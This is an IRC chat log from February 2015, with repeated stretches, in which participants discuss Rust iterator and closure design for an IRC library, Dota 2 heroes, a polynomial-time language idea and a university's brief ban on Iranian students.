[2015-02-18T11:18:03-0500] <JacobEdelman_> I'll try her out later today or tommorow
[2015-02-18T11:18:11-0500] <JacobEdelman_> whenever I get the chance to play dota
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[2015-02-18T11:51:52-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-17T20:14:12-0500] <JacobEdelman> iranians who came to america just for the graduate program?
[2015-02-17T20:14:16-0500] <JacobEdelman> any iranian citizen?
[2015-02-17T20:14:22-0500] <JacobEdelman> anybody who was born in iran?
[2015-02-17T20:29:53-0500] <+awe> Iranian nationals are all Iranian citizens.
[2015-02-17T22:25:23-0500] <Hyper> so what's errrrrrrrybody up to?
[2015-02-17T22:25:36-0500] <Hyper> (read: I'm bored as fuck)
[2015-02-17T22:26:33-0500] <+ubuntor> getting music
[2015-02-17T22:31:54-0500] <+ubuntor> writing ctf problems
[2015-02-17T22:42:43-0500] <+alokpathy> Finishing pset.
[2015-02-17T22:42:46-0500] <+alokpathy> Listening to music.
[2015-02-17T22:43:15-0500] <+alokpathy> Contemplating ways WWIII could start.
[2015-02-18T00:13:44-0500] <+awe> Hyper: I'm reading descriptions of people who think Nim is better than Rust after they completely misused Rust because they were too lazy to read the full tutorial.
[2015-02-18T00:14:39-0500] <+awe> Specifically, someone thought that a GC'd language was a better option to write a *KERNEL*
[2015-02-18T00:14:47-0500] <+awe> Because the Rust code they wrote was a bunch of C pointers.
[2015-02-18T00:35:57-0500] <LittleBobbyTables> welp, valentines day was pretty rad
[2015-02-18T00:53:22-0500] <assface> you mean that thing that was 3 days ago?
[2015-02-18T01:19:48-0500] <LittleBobbyTables> yeah
[2015-02-18T01:35:19-0500] <assface> well how was it rad?
[2015-02-18T01:45:07-0500] <LittleBobbyTables> drinking, rave, dance, dinner with some 23 y/o, met new people at a mini comicon, watched a friend get kicked out for being too drunk
[2015-02-18T01:48:32-0500] <nezorg> awe: we have an iranian in the seclab :P
[2015-02-18T01:53:32-0500] <+awe> Cool.
[2015-02-18T09:35:02-0500] <Fill> awe: here?
[2015-02-18T09:51:12-0500] <JacobEdelman_phone> he'll probaly be on later
[2015-02-18T09:51:15-0500] <JacobEdelman_phone> its early for him
[2015-02-18T09:51:24-0500] <JacobEdelman_phone> if he's up than he's heading to class, I'd guess
[2015-02-18T09:54:00-0500] <Fill> ok
[2015-02-18T09:54:12-0500] <Fill> I need to discuss some design decisions about the iter_cmd() feature
[2015-02-18T10:57:09-0500] <JacobEdelman_phone> LittleBobbyTables: you here?
[2015-02-18T11:05:37-0500] <LittleBobbyTables> No, JacobEdelman_phone.
[2015-02-18T11:06:07-0500] <JacobEdelman_> LittleBobbyTables: so, I've been playing Dota2 a bit
[2015-02-18T11:06:43-0500] <JacobEdelman_> what heroes/stratages would allow me to do decently without much skill, or at least to surprise people who do play dota2 somewhat well
[2015-02-18T11:06:50-0500] <JacobEdelman_> ?
[2015-02-18T11:06:56-0500] <LittleBobbyTables> venge
[2015-02-18T11:07:04-0500] <LittleBobbyTables> press q, press w, win fights
[2015-02-18T11:08:06-0500] <JacobEdelman_> okay, will look at
[2015-02-18T11:08:20-0500] <JacobEdelman_> (I've played legion commander a bit, which has been fun)
[2015-02-18T11:08:56-0500] <JacobEdelman_> by venge, I assume you mean vengeful spirit, right?
[2015-02-18T11:09:08-0500] <LittleBobbyTables> yes
[2015-02-18T11:09:18-0500] <LittleBobbyTables> venge fits into every lineup ever
[2015-02-18T11:10:33-0500] <JacobEdelman_> so: stun, weaken, attack basicly?
[2015-02-18T11:12:22-0500] <JacobEdelman_> gamepedia says : "Shendel [aka venge] requires very selfless and skilled play to operate well, and relies on the competence of teammates as much as herself. "
[2015-02-18T11:12:50-0500] <JacobEdelman_> I am neither of those things (although I suppose my reckless playing could be seen as selflessness)
[2015-02-18T11:13:04-0500] <JacobEdelman_> remember, I'm a noob
[2015-02-18T11:13:11-0500] <JacobEdelman_> I've played a total of, like, 6 games
[2015-02-18T11:16:44-0500] <LittleBobbyTables> she requires no skill at all
[2015-02-18T11:16:52-0500] <LittleBobbyTables> press q, press w, you just won your fight, gj
[2015-02-18T11:17:45-0500] <JacobEdelman_> wow, okay
[2015-02-18T11:17:50-0500] <JacobEdelman_> she looks fun
[2015-02-18T11:17:57-0500] <JacobEdelman_> I'll try her out later today or tommorow
[2015-02-18T11:18:04-0500] <JacobEdelman_> whenever I get the chance to play dota
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[2015-02-18T11:52:37-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-17T20:14:12-0500] <JacobEdelman> iranians who came to america just for the graduate program?
[2015-02-17T20:14:16-0500] <JacobEdelman> any iranian citizen?
[2015-02-17T20:14:22-0500] <JacobEdelman> anybody who was born in iran?
[2015-02-17T20:29:53-0500] <+awe> Iranian nationals are all Iranian citizens.
[2015-02-17T22:25:23-0500] <Hyper> so what's errrrrrrrybody up to?
[2015-02-17T22:25:36-0500] <Hyper> (read: I'm bored as fuck)
[2015-02-17T22:26:33-0500] <+ubuntor> getting music
[2015-02-17T22:31:54-0500] <+ubuntor> writing ctf problems
[2015-02-17T22:42:43-0500] <+alokpathy> Finishing pset.
[2015-02-17T22:42:46-0500] <+alokpathy> Listening to music.
[2015-02-17T22:43:15-0500] <+alokpathy> Contemplating ways WWIII could start.
[2015-02-18T00:13:44-0500] <+awe> Hyper: I'm reading descriptions of people who think Nim is better than Rust after they completely misused Rust because they were too lazy to read the full tutorial.
[2015-02-18T00:14:39-0500] <+awe> Specifically, someone thought that a GC'd language was a better option to write a *KERNEL*
[2015-02-18T00:14:47-0500] <+awe> Because the Rust code they wrote was a bunch of C pointers.
[2015-02-18T00:35:57-0500] <LittleBobbyTables> welp, valentines day was pretty rad
[2015-02-18T00:53:22-0500] <assface> you mean that thing that was 3 days ago?
[2015-02-18T01:19:48-0500] <LittleBobbyTables> yeah
[2015-02-18T01:35:19-0500] <assface> well how was it rad?
[2015-02-18T01:45:07-0500] <LittleBobbyTables> drinking, rave, dance, dinner with some 23 y/o, met new people at a mini comicon, watched a friend get kicked out for being too drunk
[2015-02-18T01:48:32-0500] <nezorg> awe: we have an iranian in the seclab :P
[2015-02-18T01:53:32-0500] <+awe> Cool.
[2015-02-18T09:35:02-0500] <Fill> awe: here?
[2015-02-18T09:51:12-0500] <JacobEdelman_phone> he'll probaly be on later
[2015-02-18T09:51:15-0500] <JacobEdelman_phone> its early for him
[2015-02-18T09:51:24-0500] <JacobEdelman_phone> if he's up than he's heading to class, I'd guess
[2015-02-18T09:54:00-0500] <Fill> ok
[2015-02-18T09:54:12-0500] <Fill> I need to discuss some design decisions about the iter_cmd() feature
[2015-02-18T10:57:09-0500] <JacobEdelman_phone> LittleBobbyTables: you here?
[2015-02-18T11:05:37-0500] <LittleBobbyTables> No, JacobEdelman_phone.
[2015-02-18T11:06:07-0500] <JacobEdelman_> LittleBobbyTables: so, I've been playing Dota2 a bit
[2015-02-18T11:06:43-0500] <JacobEdelman_> what heroes/stratages would allow me to do decently without much skill, or at least to surprise people who do play dota2 somewhat well
[2015-02-18T11:06:50-0500] <JacobEdelman_> ?
[2015-02-18T11:06:56-0500] <LittleBobbyTables> venge
[2015-02-18T11:07:04-0500] <LittleBobbyTables> press q, press w, win fights
[2015-02-18T11:08:06-0500] <JacobEdelman_> okay, will look at
[2015-02-18T11:08:20-0500] <JacobEdelman_> (I've played legion commander a bit, which has been fun)
[2015-02-18T11:08:56-0500] <JacobEdelman_> by venge, I assume you mean vengeful spirit, right?
[2015-02-18T11:09:08-0500] <LittleBobbyTables> yes
[2015-02-18T11:09:18-0500] <LittleBobbyTables> venge fits into every lineup ever
[2015-02-18T11:10:33-0500] <JacobEdelman_> so: stun, weaken, attack basicly?
[2015-02-18T11:12:22-0500] <JacobEdelman_> gamepedia says : "Shendel [aka venge] requires very selfless and skilled play to operate well, and relies on the competence of teammates as much as herself. "
[2015-02-18T11:12:50-0500] <JacobEdelman_> I am neither of those things (although I suppose my reckless playing could be seen as selflessness)
[2015-02-18T11:13:04-0500] <JacobEdelman_> remember, I'm a noob
[2015-02-18T11:13:11-0500] <JacobEdelman_> I've played a total of, like, 6 games
[2015-02-18T11:16:44-0500] <LittleBobbyTables> she requires no skill at all
[2015-02-18T11:16:52-0500] <LittleBobbyTables> press q, press w, you just won your fight, gj
[2015-02-18T11:17:45-0500] <JacobEdelman_> wow, okay
[2015-02-18T11:17:50-0500] <JacobEdelman_> she looks fun
[2015-02-18T11:17:57-0500] <JacobEdelman_> I'll try her out later today or tommorow
[2015-02-18T11:18:04-0500] <JacobEdelman_> whenever I get the chance to play dota
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[2015-02-18T11:53:13-0500] <+awe> Fill: I was indeed in class, and then in a meeting, and now I have math in a bit.
[2015-02-18T11:53:17-0500] <+awe> Fill: I'll be around after 1.
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[2015-02-17T22:43:15-0500] <+alokpathy> Contemplating ways WWIII could start.
[2015-02-18T00:13:44-0500] <+awe> Hyper: I'm reading descriptions of people who think Nim is better than Rust after they completely misused Rust because they were too lazy to read the full tutorial.
[2015-02-18T00:14:39-0500] <+awe> Specifically, someone thought that a GC'd language was a better option to write a *KERNEL*
[2015-02-18T00:14:47-0500] <+awe> Because the Rust code they wrote was a bunch of C pointers.
[2015-02-18T00:35:57-0500] <LittleBobbyTables> welp, valentines day was pretty rad
[2015-02-18T00:53:22-0500] <assface> you mean that thing that was 3 days ago?
[2015-02-18T01:19:48-0500] <LittleBobbyTables> yeah
[2015-02-18T01:35:19-0500] <assface> well how was it rad?
[2015-02-18T01:45:07-0500] <LittleBobbyTables> drinking, rave, dance, dinner with some 23 y/o, met new people at a mini comicon, watched a friend get kicked out for being too drunk
[2015-02-18T01:48:32-0500] <nezorg> awe: we have an iranian in the seclab :P
[2015-02-18T01:53:32-0500] <+awe> Cool.
[2015-02-18T09:35:02-0500] <Fill> awe: here?
[2015-02-18T09:51:12-0500] <JacobEdelman_phone> he'll probaly be on later
[2015-02-18T09:51:15-0500] <JacobEdelman_phone> its early for him
[2015-02-18T09:51:24-0500] <JacobEdelman_phone> if he's up than he's heading to class, I'd guess
[2015-02-18T09:54:00-0500] <Fill> ok
[2015-02-18T09:54:12-0500] <Fill> I need to discuss some design decisions about the iter_cmd() feature
[2015-02-18T10:57:09-0500] <JacobEdelman_phone> LittleBobbyTables: you here?
[2015-02-18T11:05:37-0500] <LittleBobbyTables> No, JacobEdelman_phone.
[2015-02-18T11:06:07-0500] <JacobEdelman_> LittleBobbyTables: so, I've been playing Dota2 a bit
[2015-02-18T11:06:43-0500] <JacobEdelman_> what heroes/stratages would allow me to do decently without much skill, or at least to surprise people who do play dota2 somewhat well
[2015-02-18T11:06:50-0500] <JacobEdelman_> ?
[2015-02-18T11:06:56-0500] <LittleBobbyTables> venge
[2015-02-18T11:07:04-0500] <LittleBobbyTables> press q, press w, win fights
[2015-02-18T11:08:06-0500] <JacobEdelman_> okay, will look at
[2015-02-18T11:08:20-0500] <JacobEdelman_> (I've played legion commander a bit, which has been fun)
[2015-02-18T11:08:56-0500] <JacobEdelman_> by venge, I assume you mean vengeful spirit, right?
[2015-02-18T11:09:08-0500] <LittleBobbyTables> yes
[2015-02-18T11:09:18-0500] <LittleBobbyTables> venge fits into every lineup ever
[2015-02-18T11:10:33-0500] <JacobEdelman_> so: stun, weaken, attack basicly?
[2015-02-18T11:12:22-0500] <JacobEdelman_> gamepedia says : "Shendel [aka venge] requires very selfless and skilled play to operate well, and relies on the competence of teammates as much as herself. "
[2015-02-18T11:12:50-0500] <JacobEdelman_> I am neither of those things (although I suppose my reckless playing could be seen as selflessness)
[2015-02-18T11:13:04-0500] <JacobEdelman_> remember, I'm a noob
[2015-02-18T11:13:11-0500] <JacobEdelman_> I've played a total of, like, 6 games
[2015-02-18T11:16:44-0500] <LittleBobbyTables> she requires no skill at all
[2015-02-18T11:16:52-0500] <LittleBobbyTables> press q, press w, you just won your fight, gj
[2015-02-18T11:17:45-0500] <JacobEdelman_> wow, okay
[2015-02-18T11:17:50-0500] <JacobEdelman_> she looks fun
[2015-02-18T11:17:57-0500] <JacobEdelman_> I'll try her out later today or tommorow
[2015-02-18T11:18:04-0500] <JacobEdelman_> whenever I get the chance to play dota
[2015-02-18T11:53:06-0500] <+awe> Fill: I was indeed in class, and then in a meeting, and now I have math in a bit.
[2015-02-18T11:53:10-0500] <+awe> Fill: I'll be around after 1.
[2015-02-18T12:22:26-0500] <JacobEdelman_> awe: it may be fun to build a language off cobhams axioms (section 5.1) http://www.scottaaronson.com/papers/philos.pdf
[2015-02-18T12:22:39-0500] <JacobEdelman_> any poly time program would be programmable
[2015-02-18T12:22:44-0500] <JacobEdelman_> but only poly time programs
[2015-02-18T12:23:01-0500] <JacobEdelman_> so, programs would be basicly guaranteed to terminate in reasonable time
[2015-02-18T12:23:41-0500] <JacobEdelman_> I've looked at possible ways to simplifiy the axioms to use them in less number focused ways
[2015-02-18T12:23:54-0500] <JacobEdelman_> I think I found a possibility, based off representing eveything as lists
[2015-02-18T12:24:12-0500] <JacobEdelman_> which would be nice
[2015-02-18T13:12:35-0500] <Fill> awe: ping
[2015-02-18T13:25:55-0500] Mode is +nt
[2015-02-18T13:26:25-0500] <+awe> Fill: Okay, I'm back.
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[2015-02-18T13:26:50-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-17T22:43:15-0500] <+alokpathy> Contemplating ways WWIII could start.
[2015-02-18T00:13:44-0500] <+awe> Hyper: I'm reading descriptions of people who think Nim is better than Rust after they completely misused Rust because they were too lazy to read the full tutorial.
[2015-02-18T00:14:39-0500] <+awe> Specifically, someone thought that a GC'd language was a better option to write a *KERNEL*
[2015-02-18T00:14:47-0500] <+awe> Because the Rust code they wrote was a bunch of C pointers.
[2015-02-18T00:35:57-0500] <LittleBobbyTables> welp, valentines day was pretty rad
[2015-02-18T00:53:22-0500] <assface> you mean that thing that was 3 days ago?
[2015-02-18T01:19:48-0500] <LittleBobbyTables> yeah
[2015-02-18T01:35:19-0500] <assface> well how was it rad?
[2015-02-18T01:45:07-0500] <LittleBobbyTables> drinking, rave, dance, dinner with some 23 y/o, met new people at a mini comicon, watched a friend get kicked out for being too drunk
[2015-02-18T01:48:32-0500] <nezorg> awe: we have an iranian in the seclab :P
[2015-02-18T01:53:32-0500] <+awe> Cool.
[2015-02-18T09:35:02-0500] <Fill> awe: here?
[2015-02-18T09:51:12-0500] <JacobEdelman_phone> he'll probaly be on later
[2015-02-18T09:51:15-0500] <JacobEdelman_phone> its early for him
[2015-02-18T09:51:24-0500] <JacobEdelman_phone> if he's up than he's heading to class, I'd guess
[2015-02-18T09:54:00-0500] <Fill> ok
[2015-02-18T09:54:12-0500] <Fill> I need to discuss some design decisions about the iter_cmd() feature
[2015-02-18T10:57:09-0500] <JacobEdelman_phone> LittleBobbyTables: you here?
[2015-02-18T11:05:37-0500] <LittleBobbyTables> No, JacobEdelman_phone.
[2015-02-18T11:06:07-0500] <JacobEdelman_> LittleBobbyTables: so, I've been playing Dota2 a bit
[2015-02-18T11:06:43-0500] <JacobEdelman_> what heroes/stratages would allow me to do decently without much skill, or at least to surprise people who do play dota2 somewhat well
[2015-02-18T11:06:50-0500] <JacobEdelman_> ?
[2015-02-18T11:06:56-0500] <LittleBobbyTables> venge
[2015-02-18T11:07:04-0500] <LittleBobbyTables> press q, press w, win fights
[2015-02-18T11:08:06-0500] <JacobEdelman_> okay, will look at
[2015-02-18T11:08:20-0500] <JacobEdelman_> (I've played legion commander a bit, which has been fun)
[2015-02-18T11:08:56-0500] <JacobEdelman_> by venge, I assume you mean vengeful spirit, right?
[2015-02-18T11:09:08-0500] <LittleBobbyTables> yes
[2015-02-18T11:09:18-0500] <LittleBobbyTables> venge fits into every lineup ever
[2015-02-18T11:10:33-0500] <JacobEdelman_> so: stun, weaken, attack basicly?
[2015-02-18T11:12:22-0500] <JacobEdelman_> gamepedia says : "Shendel [aka venge] requires very selfless and skilled play to operate well, and relies on the competence of teammates as much as herself. "
[2015-02-18T11:12:50-0500] <JacobEdelman_> I am neither of those things (although I suppose my reckless playing could be seen as selflessness)
[2015-02-18T11:13:04-0500] <JacobEdelman_> remember, I'm a noob
[2015-02-18T11:13:11-0500] <JacobEdelman_> I've played a total of, like, 6 games
[2015-02-18T11:16:44-0500] <LittleBobbyTables> she requires no skill at all
[2015-02-18T11:16:52-0500] <LittleBobbyTables> press q, press w, you just won your fight, gj
[2015-02-18T11:17:45-0500] <JacobEdelman_> wow, okay
[2015-02-18T11:17:50-0500] <JacobEdelman_> she looks fun
[2015-02-18T11:17:57-0500] <JacobEdelman_> I'll try her out later today or tommorow
[2015-02-18T11:18:04-0500] <JacobEdelman_> whenever I get the chance to play dota
[2015-02-18T11:53:06-0500] <+awe> Fill: I was indeed in class, and then in a meeting, and now I have math in a bit.
[2015-02-18T11:53:10-0500] <+awe> Fill: I'll be around after 1.
[2015-02-18T12:22:26-0500] <JacobEdelman_> awe: it may be fun to build a language off cobhams axioms (section 5.1) http://www.scottaaronson.com/papers/philos.pdf
[2015-02-18T12:22:39-0500] <JacobEdelman_> any poly time program would be programmable
[2015-02-18T12:22:44-0500] <JacobEdelman_> but only poly time programs
[2015-02-18T12:23:01-0500] <JacobEdelman_> so, programs would be basicly guaranteed to terminate in reasonable time
[2015-02-18T12:23:41-0500] <JacobEdelman_> I've looked at possible ways to simplifiy the axioms to use them in less number focused ways
[2015-02-18T12:23:54-0500] <JacobEdelman_> I think I found a possibility, based off representing eveything as lists
[2015-02-18T12:24:12-0500] <JacobEdelman_> which would be nice
[2015-02-18T13:12:35-0500] <Fill> awe: ping
[2015-02-18T13:26:52-0500] Mode is +nt
[2015-02-18T13:26:53-0500] <+awe> Fill: Okay, I'm back.
[2015-02-18T13:27:03-0500] <+awe> JacobEdelman_: So, what you're telling me is that you want to make lisp with cobham's axioms.
[2015-02-18T13:31:30-0500] <Fill> I'm fighting with the borrow checker. Anyway, I was looking at the code and decided to make a new struct, ServerCmdIterator, that will be what iter_cmd() returns. This ServerCmdIterator is basically a wrapper around ServerIterator, so it calls next() on ServerIterator, unpacks the Message (if there is one), and then calls Command::from_message to build the command. How does that sound to you?
[2015-02-18T13:32:17-0500] <Fill> I thought about other possibilities, e.g., make an enum IteratorType { ... } and do not add a ServerCmdIterator, instead, refactor ServerIterator to return either a Option<IoResult<Message>> or a Option<IoResult<Command>> depending on the type
[2015-02-18T13:33:16-0500] <Fill> I was trying to do the ServerCmdIterator, and now I have some issues with the borrow checker.
[2015-02-18T13:34:02-0500] <Fill> awe: what do you think would be the best approach in the Rust world?
[2015-02-18T13:34:07-0500] <+awe> So, you can map commands over iterators.
[2015-02-18T13:34:31-0500] <+awe> I don't think either of these solutions are the best ones. :)
[2015-02-18T13:34:45-0500] <+awe> Give me one second.
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[2015-02-18T13:41:08-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-18T09:51:12-0500] <JacobEdelman_phone> he'll probaly be on later
[2015-02-18T09:51:15-0500] <JacobEdelman_phone> its early for him
[2015-02-18T09:51:24-0500] <JacobEdelman_phone> if he's up than he's heading to class, I'd guess
[2015-02-18T09:54:00-0500] <Fill> ok
[2015-02-18T09:54:12-0500] <Fill> I need to discuss some design decisions about the iter_cmd() feature
[2015-02-18T10:57:09-0500] <JacobEdelman_phone> LittleBobbyTables: you here?
[2015-02-18T11:05:37-0500] <LittleBobbyTables> No, JacobEdelman_phone.
[2015-02-18T11:06:07-0500] <JacobEdelman_> LittleBobbyTables: so, I've been playing Dota2 a bit
[2015-02-18T11:06:43-0500] <JacobEdelman_> what heroes/stratages would allow me to do decently without much skill, or at least to surprise people who do play dota2 somewhat well
[2015-02-18T11:06:50-0500] <JacobEdelman_> ?
[2015-02-18T11:06:56-0500] <LittleBobbyTables> venge
[2015-02-18T11:07:04-0500] <LittleBobbyTables> press q, press w, win fights
[2015-02-18T11:08:06-0500] <JacobEdelman_> okay, will look at
[2015-02-18T11:08:20-0500] <JacobEdelman_> (I've played legion commander a bit, which has been fun)
[2015-02-18T11:08:56-0500] <JacobEdelman_> by venge, I assume you mean vengeful spirit, right?
[2015-02-18T11:09:08-0500] <LittleBobbyTables> yes
[2015-02-18T11:09:18-0500] <LittleBobbyTables> venge fits into every lineup ever
[2015-02-18T11:10:33-0500] <JacobEdelman_> so: stun, weaken, attack basicly?
[2015-02-18T11:12:22-0500] <JacobEdelman_> gamepedia says : "Shendel [aka venge] requires very selfless and skilled play to operate well, and relies on the competence of teammates as much as herself. "
[2015-02-18T11:12:50-0500] <JacobEdelman_> I am neither of those things (although I suppose my reckless playing could be seen as selflessness)
[2015-02-18T11:13:04-0500] <JacobEdelman_> remember, I'm a noob
[2015-02-18T11:13:11-0500] <JacobEdelman_> I've played a total of, like, 6 games
[2015-02-18T11:16:44-0500] <LittleBobbyTables> she requires no skill at all
[2015-02-18T11:16:52-0500] <LittleBobbyTables> press q, press w, you just won your fight, gj
[2015-02-18T11:17:45-0500] <JacobEdelman_> wow, okay
[2015-02-18T11:17:50-0500] <JacobEdelman_> she looks fun
[2015-02-18T11:17:57-0500] <JacobEdelman_> I'll try her out later today or tommorow
[2015-02-18T11:18:04-0500] <JacobEdelman_> whenever I get the chance to play dota
[2015-02-18T11:53:06-0500] <+awe> Fill: I was indeed in class, and then in a meeting, and now I have math in a bit.
[2015-02-18T11:53:10-0500] <+awe> Fill: I'll be around after 1.
[2015-02-18T12:22:26-0500] <JacobEdelman_> awe: it may be fun to build a language off cobhams axioms (section 5.1) http://www.scottaaronson.com/papers/philos.pdf
[2015-02-18T12:22:39-0500] <JacobEdelman_> any poly time program would be programmable
[2015-02-18T12:22:44-0500] <JacobEdelman_> but only poly time programs
[2015-02-18T12:23:01-0500] <JacobEdelman_> so, programs would be basicly guaranteed to terminate in reasonable time
[2015-02-18T12:23:41-0500] <JacobEdelman_> I've looked at possible ways to simplifiy the axioms to use them in less number focused ways
[2015-02-18T12:23:54-0500] <JacobEdelman_> I think I found a possibility, based off representing eveything as lists
[2015-02-18T12:24:12-0500] <JacobEdelman_> which would be nice
[2015-02-18T13:12:35-0500] <Fill> awe: ping
[2015-02-18T13:26:46-0500] <+awe> Fill: Okay, I'm back.
[2015-02-18T13:26:56-0500] <+awe> JacobEdelman_: So, what you're telling me is that you want to make lisp with cobham's axioms.
[2015-02-18T13:31:23-0500] <Fill> I'm fighting with the borrow checker. Anyway, I was looking at the code and decided to make a new struct, ServerCmdIterator, that will be what iter_cmd() returns. This ServerCmdIterator is basically a wrapper around ServerIterator, so it calls next() on ServerIterator, unpacks the Message (if there is one), and then calls Command::from_message to build the command. How does that sound to you?
[2015-02-18T13:32:09-0500] <Fill> I thought about other possibilities, e.g., make an enum IteratorType { ... } and do not add a ServerCmdIterator, instead, refactor ServerIterator to return either a Option<IoResult<Message>> or a Option<IoResult<Command>> depending on the type
[2015-02-18T13:33:08-0500] <Fill> I was trying to do the ServerCmdIterator, and now I have some issues with the borrow checker.
[2015-02-18T13:33:54-0500] <Fill> awe: what do you think would be the best approach in the Rust world?
[2015-02-18T13:34:00-0500] <+awe> So, you can map commands over iterators.
[2015-02-18T13:34:23-0500] <+awe> I don't think either of these solutions are the best ones. :)
[2015-02-18T13:34:37-0500] <+awe> Give me one second.
[2015-02-18T13:36:10-0500] <Fill> map commands over iterators
[2015-02-18T13:36:15-0500] <Fill> let me check that
[2015-02-18T13:38:51-0500] <Fill> huh, wait. We need at least a new iterator type that returns Commands instead of Messages, right?
[2015-02-18T13:41:11-0500] Mode is +nt
[2015-02-18T13:41:14-0500] <+awe> Okay, I'm back.
[2015-02-18T13:41:29-0500] <+awe> Fill: I'll show you an example.
[2015-02-18T13:41:59-0500] <+awe> Fill: https://github.com/aatxe/markov/blob/master/src/lib.rs#L226
[2015-02-18T13:42:18-0500] <+awe> Fill: this is from another library I wrote with a markov chain implementation.
[2015-02-18T13:42:27-0500] <+awe> Fill: You'll notice that my new iterator types are just typedefs.
[2015-02-18T13:43:09-0500] <+awe> Fill: and what I'm doing is I'm mapping a function of type Vec<Rc<String>> -> String over an iterator yielding Vec<Rc<String>>s and this creates a new iterator yielding Strings.
[2015-02-18T13:43:10-0500] <Fill> hummm
[2015-02-18T13:45:12-0500] <+awe> You can do something similar.
[2015-02-18T13:45:33-0500] <+awe> You can write it with a closure, too.
[2015-02-18T13:45:37-0500] <+awe> Instead of a function pointer like I did.
[2015-02-18T13:46:32-0500] <Fill> ahhh I get it
[2015-02-18T13:47:43-0500] <Fill> awe: how come you know about all these Rust patterns and library commands?
[2015-02-18T13:47:44-0500] <Fill> lol
[2015-02-18T13:47:54-0500] <+awe> I'm obsessed with functional programming.
[2015-02-18T13:48:07-0500] <+awe> Part of why I love Rust is that it makes available some functional idioms.
[2015-02-18T13:48:17-0500] <+awe> One of those is higher-order functions and function composition.
[2015-02-18T13:48:30-0500] <+awe> I'd much rather map a function over an iterator than define a totally new iterator type. :p
[2015-02-18T13:48:44-0500] <Fill> yeah sure
[2015-02-18T13:48:46-0500] <Fill> it makes total sense
[2015-02-18T13:49:11-0500] <+awe> The reason why I know it is because I came to Rust for that, pretty much. :p
[2015-02-18T13:49:34-0500] <+awe> It was the first thing that pulled me into Rust. The memory safety and stuff was then appreciated afterward.
[2015-02-18T13:50:25-0500] <Fill> with me it was the other way around. I was quite interested with the memory safety aspects
[2015-02-18T13:50:51-0500] <+awe> It would make sense based on background.
[2015-02-18T13:50:58-0500] <+awe> I came from higher-level languages. You came from lower-level languages.
[2015-02-18T13:51:27-0500] <+awe> I was looking for performance without sacrificing abstraction and safety. You were looking for safety without sacrificing performance. :p
[2015-02-18T13:51:42-0500] <Fill> exactly
[2015-02-18T13:51:51-0500] <+awe> The latter is the case for most Rust programmers, I think.
[2015-02-18T13:52:26-0500] <Fill> in fact I really haven't touched functional programming for quite a while
[2015-02-18T13:52:54-0500] <Fill> so I assume you're pretty comfortable with Lisp?
[2015-02-18T13:53:15-0500] <+awe> I haven't made anything significant in any functional languages. I just play around with Haskell, and I know some lisp.
[2015-02-18T13:53:24-0500] <+awe> I'm going to implement Scheme in Haskell at some point when I have time.
[2015-02-18T13:54:30-0500] <Fill> why?
[2015-02-18T13:54:33-0500] <Fill> just for the fun of it?
[2015-02-18T13:58:03-0500] <+awe> Yeah.
[2015-02-18T13:58:05-0500] <+awe> Pretty much.
[2015-02-18T13:58:46-0500] <Fill> hehehe
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[2015-02-18T14:30:39-0500] <+awe> UMass doubled back on banning Iranians from STEM graduate programs.
[2015-02-18T14:32:30-0500] <Fill> awe: Iranians were banned from STEM grad school?!
[2015-02-18T14:32:38-0500] <JacobEdelman_> awe: its not quiet lisp
[2015-02-18T14:32:55-0500] <+awe> For like a week.
[2015-02-18T14:33:01-0500] <+awe> Then, everyone got really upset and they changed their mind.
[2015-02-18T14:33:02-0500] <Fill> O.o
[2015-02-18T14:33:09-0500] <Fill> that is so wrong
[2015-02-18T14:33:11-0500] <JacobEdelman_> awe: since programs would not be representable as lists really
[2015-02-18T14:33:37-0500] <+awe> Well, they claimed it was because of the US embargo on Iran.
[2015-02-18T14:33:56-0500] <JacobEdelman_> awe: otherwise you could program lambda calculus, and than there goes poly time
[2015-02-18T14:34:06-0500] <+awe> Mhm.
[2015-02-18T14:34:29-0500] <+awe> JacobEdelman_: https://github.com/aatxe/hamelin.rs/blob/master/src/lib.rs#L53
[2015-02-18T14:34:37-0500] <+awe> JacobEdelman_: there used to be a thread spawned here. now there is not. :)
[2015-02-18T14:34:42-0500] <JacobEdelman_> the advantage would be that not only would your programs have to be "correct" (assuming a strong type system) but they would also have to be fast
[2015-02-18T14:35:15-0500] <JacobEdelman_> awe: I don't really understand what I'm looking at with this rust code
[2015-02-18T14:35:41-0500] <+awe> I had a PipeReader wrapping a file descriptor for stdout.
[2015-02-18T14:35:45-0500] <+awe> From the hamelin server.
[2015-02-18T14:35:59-0500] <+awe> Before, I used to have a separate thread that would block and read everything from one reader into an asynchronous one.
[2015-02-18T14:36:06-0500] <+awe> And then the main thread would use the async one.
[2015-02-18T14:36:40-0500] <+awe> Now, instead, I get the file descriptor from that PipeReader, I set it to nonblocking mode, and then I convert it into a new asynchronous PipeReader.
[2015-02-18T14:37:01-0500] <+awe> So, I eliminated the need for the extra thread by doing a legitimate conversion of the PipeReader instead.
[2015-02-18T14:50:57-0500] <+awe> JacobEdelman_: my non-technical girlfriend is working on a website, and it already looks nicer than yours.
[2015-02-18T14:53:36-0500] <assface> TempleOS is amazing
[2015-02-18T14:53:44-0500] <+awe> So, it seems that being a university professor makes you the most important person with your name.
[2015-02-18T14:53:51-0500] <+awe> I'm excited to attain that with Aaron Weiss.
[2015-02-18T14:54:30-0500] <+awe> aaronweiss.com is just a pointer to a dude's linkedin.
[2015-02-18T14:55:11-0500] <+ubuntor> whee hmmt
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[2015-02-18T15:07:39-0500] <+awe> hardmath123: my hamelin implementation is actually really good now :D
[2015-02-18T15:07:47-0500] <+awe> hardmath123: because of the above
[2015-02-18T15:20:59-0500] <Fill> awe: let's say I have a closure like so: |m: &str| -> int { .... }
[2015-02-18T15:21:09-0500] <Fill> what is the type of that closure?
[2015-02-18T15:21:15-0500] <+awe> It uhh... depends on context.
[2015-02-18T15:21:24-0500] <Fill> I thought it was |&str| -> int
[2015-02-18T15:21:30-0500] <Fill> the *type* depends on the context??
[2015-02-18T15:22:03-0500] <+awe> It'll be one of: Fn(&str) -> int, FnOnce(&str) -> int, FnMut(&str) -> int
[2015-02-18T15:22:14-0500] <Fill> woah
[2015-02-18T15:22:16-0500] <+awe> But the chances are probably that it's Fn.
[2015-02-18T15:22:29-0500] <+awe> Welcome to unboxed closures.
[2015-02-18T15:23:11-0500] <+awe> Fn is any normal immutable function, FnOnce is a function that can only be used once (formerly called a proc), and FnMut is a mutable function.
[2015-02-18T15:23:43-0500] <Fill> because I was trying this:
